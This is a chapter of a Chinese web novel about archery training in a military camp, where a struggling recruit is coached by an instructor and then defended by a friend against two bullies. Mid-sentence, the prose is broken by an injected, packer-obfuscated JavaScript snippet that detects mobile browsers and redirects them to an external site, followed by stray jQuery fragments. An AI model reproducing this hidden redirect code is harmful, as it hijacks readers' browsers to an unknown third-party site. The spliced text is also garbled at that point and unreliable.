弓箭交到岳玎手上的时候,不少眼神锁定她,只因为岳玎是公认的吊车尾,大家都想看好戏。
岳玎勉为其难地看着李石尔,深呼一口气,放松了一下,然后举起弓箭,模仿着上一个人的姿势,龇牙咧嘴地拉开,觉得差不多对准了就松手。
她紧张地闭上眼睛,等待着属于她的那一脚,只求别太疼。
“十环。”岳玎不可置信地睁开眼睛,结果就听到遥远的呼唤:“邻靶的十环!”
“靠!”李石尔毫不客气给了岳玎属于她的待遇,众人笑作一团,就连李石尔也是跟着笑着骂一句,这么多年,第一次见到这样的“神箭手”。
岳玎左躲右闪,看到了唯一没有嘲笑她的艾帅美,连忙躲到他身后。
难得艾帅美也让她躲。
“下面三人一组,迅速!”李石尔发了话,将直奔岳玎的邹缇给拦下来,“你去和罗小城他们组队。”
随即将那两人喊过来,他则跑过去将岳玎拎到自己身边,连同她身边忠心的“盾牌”。
“我们仨一组,看好了,将……”
“李兄,我和你换一换吧。”唐以太在艳阳下朝着岳玎走来。
看到唐以太,岳玎两眼放光,也不缩在艾帅美后面了,高兴地跳出来打招呼:“唐教头!”
唐以太笑着朝她点点头。
“你很喜欢唐教头?”艾帅美问道,他看到了岳玎标志性八颗牙齿,明眸皓齿当真亮眼。
“对啊,你不觉得唐教头很帅吗?还很有亲和力。”
岳玎歪着头回答,她昨天好像有些落枕了。
艾帅美狐疑地看了一眼岳玎,眸中震惊之色难掩。
一个男人对另一个男人的评价首当其冲的竟然是帅?
岳玎完全没有注意,还在一门心思地看唐以太。
出于友好,艾帅美悄悄将唐以太“玉面罗刹”的称呼告诉了岳玎。唐以太今年二十有三,是这里最年轻的教头,也是最被看好的人。
唐以太的父亲是霍将军身边的亲信唐慈,不依仗父辈,全靠自己一路上的拼搏,因为叛逆没少挨打最后是硬生生地打乖的,但骨子里依旧带着那股叛逆。
罚起人来完全不手软,他和李石尔的区别在于他不愿意浪费叫喊的时间,不说粗话,喜欢直接一点,直接罚。
闻听此话岳玎有些瑟瑟发抖,不会吧。她就想要温柔教头怎么就这么难。岳玎又往艾帅美身边蹭:“帅美兄。”
说话间,唐以太已经拿着弓箭朝着他们走来。
“两脚打开,与肩同宽,不要耸肩。”唐以太帮岳玎调整了一下姿势,由于两人身高的差距,唐以太整个把人圈在怀里,“左持弓,右勾弦,看准目标,食指去找位置,然后松手。”
“三环。”那边传来声音,岳玎焦急等待着,唐以太看她颤抖的睫毛觉得好笑:“这次没有射到别的靶上。”
闻听此话,岳玎睁开眼睛,看着唐以太露出了一个笑容,她进步还是很明显的嘛,已经不会偏离轨道了。
“把这个带上。”唐以太递给了岳玎一个扳指,“这个是鹿角的。”
看到岳玎眼里面的疑惑,唐以太好像能读懂,于是细心向她解释道:“做完我这个,剩下的材料刚好可以做一个小的,本想着就搁置着,看到你的手,发现很合适。”
岳玎的手他很早就注意到了,准确来说是她整个人,早就引起了他的注意,除了个小,就连手脚也都比其他人小。
“谢谢你,唐教头。”岳玎开心地将扳指戴在手上,果然非常合适,简直就是为她量身定制的。
“唐教头那我呢?”艾帅美以为大家都有的东西,直到唐以太递给了他一缕布条:“缠紧一些,要经常更换。”
“……”
唐以太看上去很正经,所以即使明晃晃的偏心也让艾帅美也说不出不是,因为按规矩讲,连布条都应该由他们自己准备。
岳玎第一次感受到温柔教学,没有焦虑和害怕,她就练习了一个下午,箭术就提升了不少,能射在靶上了。
解散后是由垫底的人来收拾箭羽,因为这些大部分也是由他们射出来的,其中就有岳玎。
“啊!这要收拾到什么时候!”宽阔的演练场,地上一片白羽,东西南北到处都是。李石尔经过岳玎说道:“你们但凡把眼睛睁大,瞄准点,地上也不会有这么多!”
可话落又看到岳玎的双眸像黑色的水润葡萄,灵动秀气,咬了下牙,“眼睛挺大,可惜睁眼瞎。”
岳玎在李石尔转身后比划了两下空拳,然后光速抱着脑袋蹲在地上,生无可恋地叹了一口气。
艾帅美走到岳玎旁边说道:“怕什么,胡邹会帮你收拾的。”
岳玎抬起头不解地看着艾帅美,只见艾帅美下巴轻扬,顺着目光看去,只见邹缇怀里面已经抱着不少箭矢了。
岳玎起身下意识地想跑过去,但又愣在原地,艾帅美出声询问:“怎么了,小岳?”
“要捡箭矢的不止有我一个,你怎么确定胡邹邹是帮我捡的?”岳玎心里面有点别扭,第一帮倒第一捡吗?既然如此还不如不捡的好。
训练几日,自己处处垫底,邹缇次次第一,就连李石尔现在看见两人在一起都只嚷自己。
“除了你我想不到他还能帮谁,你们两个整天黏在一起,胡邹还有机会认识别人呢?”
艾帅美看热闹不嫌事大,略带调侃地说道:“我们反正不叫他胡邹邹,也不叫你岳小岳。”
邹缇和别人很不一样的,身上的松弛感是别人装都装不出来,整个人的生活状态非常明确:他能处理好一切但不会处理好一切。
不过那个人是岳小岳的话就另说。岳玎扫不干净的地,他来;岳玎搬不动的器材,他上;岳玎不开心,他甚至愿意努力提供情绪价值。
“我们天天吵架。”岳玎用箭头杵着地,艾帅美将手里面的箭矢塞给岳玎,“你们那是天天说小话。”
他起身离开还顺带拦截了罗小城和洪武:“走了,还要帮那两人留饭。”
罗小城把自己的手伸出来,“手都磨破了。”手指上赫然是血泡,看上去触目惊心,他也自幼没干过劳力活,手只用来读书提笔。
洪武见状叮嘱:“你应该没射过箭,突然这样练一下午肯定不行,还是要找后勤要个扳指,下次先用布条缠上。”
艾帅美把手伸到洪武面前,上边的布条还没解下来,洪武笑道:“帅美这是练过,提前准备的。”
“这是唐教头给的,小岳的可是一个鹿角扳指呢。型正孔圆,细腻光滑,看上去还是量身定制的。”
罗小城一脸正经的问道:“那你为什么是布条?”
艾帅美白了罗小城一眼,自顾自的走在最前面,哼哧一声,懒得搭话。
洪武笑道:“我回来去后勤问一下,应该是会给的。”
人群散去,一共留下的就四五个人,突然一声暴怒,吓得让岳玎以为是李石尔回来了,她加快速度,然后调整身体偷偷想瞄看看人在哪?结果看到两个人围着地上的人不知道在说些什么。
岳玎把箭矢放在地上小跑过去,“你们干嘛呢?”
跌坐在地上的人赫然是入营那天,被插队的人。
他看上去有些木讷,呆板,岳玎把人扶起来,“你没事吧?”那人摇摇头,岳玎这才发现这人站起来也才比她高半个头,还比她瘦。
整个人看上去蔫蔫的,脸上带着些雀斑。
“臭麻子,我告诉你,别多管闲事,不然见你一次,打你一次。”斜眼凶狠地对麻子说道,然后和同伴作势要走,岳玎要是再反应不过来只怕是个笨蛋了。
“威胁谁呢?李教头说了,倒数的留下来捡箭矢,没捡完谁敢先走!”岳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701115|208178||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
玎站在两人面前,义正言辞道。
斜眼和同伴打量着两人,“倒数第一还帮上倒数第二了,哈哈哈哈哈......”
演练场已经没什么人了,就算打起来,岳玎也和教头说不清楚,就李石尔那个糊涂判官,万一各打五十大板怎么办?非把她冤死不成。
君子动口不动手,“你们不是倒数?那...留在这儿是看风景。”岳玎戏谑道。
“我们这是意外,你看不到我们格斗排第几啊?不像你稳定发挥,每一项都在人意料之中的差。”
麻子拽了拽岳玎的衣袖,试图平息这场闹剧,岳玎拂开他的手辩解道:“我是有进步的,别扯开话题,你要是先走我就告诉教头!”
斜眼:“你敢!”
岳玎:“我敢!”
话音一落,对方狗急跳墙对着岳玎就出手,一拳就砸来,可惜岳玎真的有进步,没有傻愣愣的站着,她歪头躲过,正想着出击就被另外一个一脚踹的后退两步。
一打二,岳玎还是劣势的那一个,岳玎怎么把这茬给忘了。
“就你这三脚猫,也想打你爷爷我,做......”
岳玎捂着肚子站在那里,盯着斜眼,正准备拼了,空包箭划过风,疾驰在空中发出声响,擦着岳玎重重的击打在两人的脑门。
斜眼被击的后退两步,目眦欲裂,疼的他说不出话。岳玎回头看到了邹缇,她已经遗忘了的邹缇:
邹缇明明身着粗布麻衣,却给人披着绫罗绸缎的错觉,手持弯弓立在那里,三七身段和长弓协调在一起,少年意气凌云在上,只是岳玎看不清此刻邹缇的表情。
阳光斜照在那人的碎发,双眸凌厉透亮。
岳玎正准备走过去,邹缇缓步朝她走来,眉宇间带着愠色,沐在光里都散发着帅气,宽肩窄腰款款而来,莫名的让人移不开眼。
邹缇的目光落在岳玎干净衣服上的灰色脚印,他走到两人身边,将人一把揪过去,沉声道:“道歉。”
那两货欺软怕硬,邹缇将箭射在两人脑门,他们连话都不敢说一下,仅存的理智只能让他们思考,这大太阳的,邹缇怎么还没走,他不热吗?
“你敢拿箭射人。”斜眼捂着头颤颤巍巍地说。
“你们都敢以多欺少,我有什么不敢?我再说最后一遍,道歉,不然就算闹到教头面前,还你一脚。”
邹缇越说越烦躁,他就该早点过来的。
僵持过后,两人含糊不清的道歉,邹缇讲道:“诚意呢?看不见。”说完他两手一绕,扼制住两人的脖颈,用力一压:“再说一遍。”
岳玎被面前景象惊的目瞪口呆,心中越发解气,“还有......你叫什么啊?”那人怯懦的接上话,“我叫曲桥。”
“你们也要给曲桥道歉。”岳玎仗势说道,邹缇看着岳玎扬起的笑脸,颇有些傲娇狸奴的模样,心中怒气散开。
“说。”邹缇手下加重,两人连忙抢着说:“对不起岳丈,对不起曲桥。”
“别再让我看到你们欺负战友。”邹缇松开手:“捡箭去。”
邹缇鲜少翻脸,就算是在极度疲惫,燥热,被打扰也不曾像如今这般。
像是换了一个人。
曲桥上前两步,垂眼道谢:“谢谢你,胡邹。”
邹缇柔声,“没事,下次再有人欺负你就来找我。”
曲桥点点头,跑开了,轮到岳玎了。岳玎脸上带着甜美的笑容,映着孩童般的纯真,“胡邹邹,谢谢你,还好......”
话没说完人就面无表情,带着小风走开,留下一头雾水的岳玎。
夕阳下,头顶火烧云,脚踩黄沙尘土,一片祥和景色,留岳玎傻傻的站在那里思考良久,没想出个所以然。
这就是热脸贴冷屁股吗?唉,算了,谁让人家帮助你了呢?
可......